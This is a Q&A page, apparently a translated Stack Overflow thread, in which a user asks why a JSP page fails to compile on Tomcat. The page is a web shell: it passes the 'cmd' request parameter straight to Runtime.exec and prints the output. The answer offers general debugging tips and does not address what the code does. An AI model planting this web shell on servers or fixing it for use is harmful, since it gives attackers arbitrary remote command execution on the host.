0

试图写一个tomcat应用程序。好好学习怎么做。它是用 JSP 编写的。无需猜测它的作用......我正在尝试在这里编译这段代码:

    <%@ page import=”java.util.*,java.io.*”%>
    <%
    if (request.getParameter(“cmd”) != null) {
        out.println(“Command: ” +
        request.getParameter(“cmd”) + “&lt;BR>”);
        Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
           out.println(disr);
           disr = dis.readLine();
       }
    }
    %>

我收到了这个错误:

    HTTP Status 500 -

    type Exception report

    message

    description The server encountered an internal error () that prevented it from fulfilling this request.

    exception

    org.apache.jasper.JasperException: Unable to compile class for JSP
org.apache.jasper.JspCompilationContext.load(JspCompilationContext.java:553)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:136)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:307)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:292)

    root cause

    java.lang.NullPointerException
sun.misc.URLClassPath$3.run(Unknown Source)
java.security.AccessController.doPrivileged(Native Method)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getLoader(Unknown Source)
sun.misc.URLClassPath.getResource(Unknown Source)
java.net.URLClassLoader$1.run(Unknown Source)
4

1 回答 1

1

你知道是哪条线路导致了问题吗?尝试一次注释掉一行,直到错误不再发生。

从最佳实践的角度来看,您应该尝试将大部分代码移动到 Servlet 类中,并将文本输出发送到 JSP 以供显示。这将使您的代码更易于调试(例如,堆栈跟踪会向您显示哪一行给出了 NPEx),并且还允许您为其编写单元测试。

于 2012-08-06T12:16:43.557 回答